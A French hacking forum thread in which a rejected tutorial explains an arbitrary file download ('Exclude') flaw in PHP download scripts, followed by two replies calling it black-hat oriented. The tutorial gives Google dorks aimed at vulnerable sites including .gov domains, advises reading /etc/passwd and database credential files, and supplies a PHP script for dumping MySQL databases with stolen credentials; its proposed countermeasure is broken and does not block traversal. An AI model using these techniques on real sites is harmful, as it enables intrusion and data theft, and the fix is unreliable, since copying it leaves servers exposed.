Titre: [rejeté] [HACKING / SECURITE] Faille EXCLUDE Posté par: d@rkor le 02 Février 2008 à 19:17:52 WEB - PHP
La faille EXCLUDE - - - - - - - - - Version: 1.0, Scoder. - - - - - - - - - 1° INTRO. 2° Explication 3° Recherche 4° Exploiatation 5° Conclusion - 1° INTRO. Le CyberEspace regorge de failles en tout genres et à tous les niveaux, certe. Ici, nous allons parler uniquement d'une faille Web PHP qui concerne tous les scripts d'envoie de fichiers non contrôlés, et présente sur environ 60% des systèmes permettant à un script de manipuler les headers HTTP dans l'objectif d'envoyer un fichier. - 2° Explication Cette faille peut être appellée la faille Exclude, car, contrairement à la vulnérabilité Include, elle permet non pas d'inclure un fichier sur une page, mais de recevoir le fichier de son choix en provenance du serveur atteint. Il suffit simplement de modifier les paramètres de l'URL (comme la faille Include), ou de modifier la valeur d'une variable HTML de type 'HIDDEN', cela dépend du script et de la façon de demander un fichier. Le script PHP procède comme ceci: - - - [C U T H E R E] - - - <? echo $filename; header("Content-type: application/force-download"); header("Content-Disposition: attachment; filename=".$filename); readfile($filename); ?> - - - [C U T H E R E] - - - Ici, le problème est que le script ouvre le fichier puis nous envoie son contenu, ce qui fait que l'on peut télécharger les codes PHP sans qu'ils soient interprétés par le serveur. De plus, aucun contrôle n'est efféctué sur le nom du fichier passé en paramètre. Ainsi, il est possible de télécharger tout fichier, à condition qu'il soit possible au deamon web d'y accèder en lecture, et bien sur de connaître l'emplacement exact des fichiers à obtenir. La contre-mesure serait donc: - - - [C U T H E R E] - - - <? echo $filename; if($filename[0]=='/' || $filename[0]=='\') die "Error !"; $filename=str_replace($filename, "..", "./"); header("Content-type: application/force-download"); header("Content-Disposition: attachment; filename=".$filename); readfile($filename); ?> - - - [C U T H E R E] - - - - 4° Recherche Le moyen le plus éfficace pour trouver des sites vulnérables est Google. En effet, ce Meta-Searcher recense tous les liens, quels qu'ils soient. Par exemple: RECHERCHE GOOGLE: inurl:download.php? inurl:file= "errno = 2" Thèrmes: inurl:download.php? -> Dans l'url un script de download, prenant un argument. inurl:file= -> Si possible, le nom d'un fichier légitime, toujours dans l'url. "errno=2" -> Erreur de script pour le téléchargement d'un fichier légitime, comme ça, je constate que les admins n'ont pas prévus de parade, et de plus, j'ai une idée de l'endroit où est ce script, ce qui me permet de me repérer dans l'arborescence. Si je veux atteindre un type de site précis, je tape en plus: site:.com ou encore site:.org, etc... Tapez: inurl:download.php? inurl:file= inurl:.gov , vous aurez des (bonnes) surprises... ;-) - 5° Exploitation Cette faille permet donc d'obtenir tous les fichiers que le deamon peut lire (même /etc/passwd) mais la meilleur exploitation possible, je pense, est de télécharger le script PHP de connexion à la base de données (s'il y en a une), comme ça vous aurez tous les droits possibles dessus, mais en plus, je dirais que à l'heure actuelle (2007), 40% des serveurs utilisent les mêmes mots de passes pour SQL et FTP ;-). Ci dessous, un script en PHP vous permettant de télécharger la basse de donnée MySQL d'un site en fonction des codes récupérés: - - - [C U T H E R E] - - - <? /* * MySQL Database Viewer/Downloader - V0.1, $coder 2007. * ---------------------|------|------------------------ * Parameters |Values| * ---------------------|------|------------------------ * opt 1 stock on a local file * the result, and force * the HTTP download. * ---------------------|------|------------------------ * datab "db" The db name * ---------------------|------|------------------------ * query "query" Execute the query * ---------------------|------|------------------------ * host "host" The host name * ---------------------|------|------------------------ * user "user" The user name * ---------------------|------|------------------------ * password "pwd" The db password * ---------------------|------|------------------------ * tmp_f "fname" The tmp_fname * ----------------------------------------------------- */ $opt = $_REQUEST['opt']; $query = $_REQUEST['query']; $dbn = $_REQUEST['datab']; $host = $_REQUEST['host']; $user = $_REQUEST['user']; $pass = $_REQUEST['passwd']; $tmp_f = $_REQUEST['tmp_f']; ?> <p><b><font size="4" face="Courier New">Welcome to the DataBase Viewer/Downloader</font></b></p><br> <? /* Ici, on part du principe que $text est deja sous forme convenable (balises, etc...) */ function _Out($text) { if($opt!=1) { echo $text; echo "<br>"; } else { if($tmp_f) { $fp=fopen($tmp_f, "w"); echo "<b>-></b> Ouverture du fichier <b>".$tmp_f."</b>...<br>"; }else{ $fp=fopen("tmpf.tmp", "w"); echo "<b>-></b> Ouverture du fichier...<br>"; }; echo "<b>Ecriture en cours...</b><br>"; fputs($fp, $text); fclose($fp); if($tmp_f) { ?> <b><a href="<? echo $tmp_f ?>">cliquez ici</a></b><br> <? } else { ?> <b><a href="tmpf.tmp">cliquez ici</a></b><br> <? }; }; } $conn = mysql_connect($host, $user, $pass) or die(mysql_error()); if($dbn){ mysql_select_db($dbn, $conn) or die(mysql_error()); } else { $result = mysql_list_dbs($conn); $txt.="<table>\n"; while ($line = mysql_fetch_assoc($result)) { $txt.="\t<tr>\n"; foreach ($line as $col_value) { $txt.="\t\t<td>$col_value</td>\n"; } $txt.="\t</tr>\n"; } $txt.="</table>\n"; _Out($txt); }; $txt="<html>"; if($query!="" && $dbn!="") { $result = mysql_query($query) or die(mysql_error()); $txt.="<table>\n"; while ($line = mysql_fetch_assoc($result)) { $txt.="\t<tr>\n"; foreach ($line as $col_value) { $txt.="\t\t<td>$col_value</td>\n"; } $txt.="\t</tr>\n"; } $txt.="</table>\n"; } else { echo "<b>Entrez une requete valide !</b><br>"; }; _Out($txt); mysql_free_result($result); mysql_close($conn); ?> - - - [C U T H E R E] - - - - 6° Conclusion La faille exclude est très fréquentes, même sur certains sites gouvernementaux, mais n'est pas très connue des administrateurs, de plus, elle est facilement exploitable pur **orthographe !** qui a un minimum de connaissance en programmation Web. C'est donc une faille dangereuse, facile à dépister avec Google, dont, je l'espère, ce tutorial vous aura été utile si vous avez ce genre de problèmes. Scoder. Titre: Re : [HACKING / SECURITE] Faille EXCLUDE Posté par: Mr_KaLiMaN le 02 Février 2008 à 22:10:16 Personnellement je suis pas pour, désolé.
Je vais quand même m'expliquer : L'idée est pas mauvaise, on en parle peu effectivement. Maintenant, les critiques ;) Citation de: d@rkor WEB - PHP La faille EXCLUDE Citation de: d@rkor Le CyberEspace regorge de failles en tout genres et à tous les niveaux, certe. "Le CyberEspace" euh... c'est beau mais bon...Citation de: d@rkor présente sur environ 60% des systèmes permettant à un script de manipuler les headers HTTP dans l'objectif d'envoyer un fichier. 60% ? Tu as fais des stats personnellement ? Tu as des sources ?Citation de: d@rkor Il suffit simplement de modifier les paramètres de l'URL (comme la faille Include), ou de modifier la valeur d'une variable HTML de type 'HIDDEN', cela dépend du script et de la façon de demander un fichier. Comme tu le dis, ça dépend du script etc... Donc il suffit pas de faire l'un ou l'autre uniquement. Citation de: d@rkor - - - [C U T H E R E] - - - <? echo $filename; header("Content-type: application/force-download"); header("Content-Disposition: attachment; filename=".$filename); readfile($filename); ?> - - - [C U T H E R E] - - - Ici, le problème est que le script ouvre le fichier puis nous envoie son contenu, ce qui fait que l'on peut télécharger les codes PHP sans qu'ils soient interprétés par le serveur. De plus, aucun contrôle n'est efféctué sur le nom du fichier passé en paramètre. Ainsi, il est possible de télécharger tout fichier, à condition qu'il soit possible au deamon web d'y accèder en lecture, et bien sur de connaître l'emplacement exact des fichiers à obtenir. La contre-mesure serait donc: - - - [C U T H E R E] - - - <? echo $filename; if($filename[0]=='/' || $filename[0]=='\') die "Error !"; $filename=str_replace($filename, "..", "./"); header("Content-type: application/force-download"); header("Content-Disposition: attachment; filename=".$filename); readfile($filename); ?> Il serait bien que tu expliques pourquoi ta contre-mesure serait efficace par exemple. Citation de: d@rkor - 4° Recherche [...] 5° Exploitation [...] 6° Conclusion La faille exclude est très fréquentes, même sur certains sites gouvernementaux, mais n'est pas très connue des administrateurs, de plus, elle est facilement exploitable pur **orthographe !** qui a un minimum de connaissance en programmation Web. C'est donc une faille dangereuse, facile à dépister avec Google, dont, je l'espère, ce tutorial vous aura été utile si vous avez ce genre de problèmes. Clairement orienté Black... Voilà mon avis pour le moment. Titre: Re : [HACKING / SECURITE] Faille EXCLUDE Posté par: the lsd le 03 Février 2008 à 20:02:44 Sur le plan de la forme, le tuto est pas bon du tout.
le coup du CUT HERE, le code php qu in'est pas dans la balise apropriée du SMF, les fautes d'orthographe... (la liste est longue). Comme le dit Mr_K, c'est orienté black, si tu veux qu'il y soit moins a mon avis, il faudrait virer tout le code de récupération de base de donné, mais pour le coup, le tuto serait un peu trop petit. A mon avis, ce paper ne devrait etre qu'une partie d'un tuto plus généraliste. Pour l'instant, je suis contre aussi (bien evidemment ce n'est pas forcement définitif) Enjoy The lsd |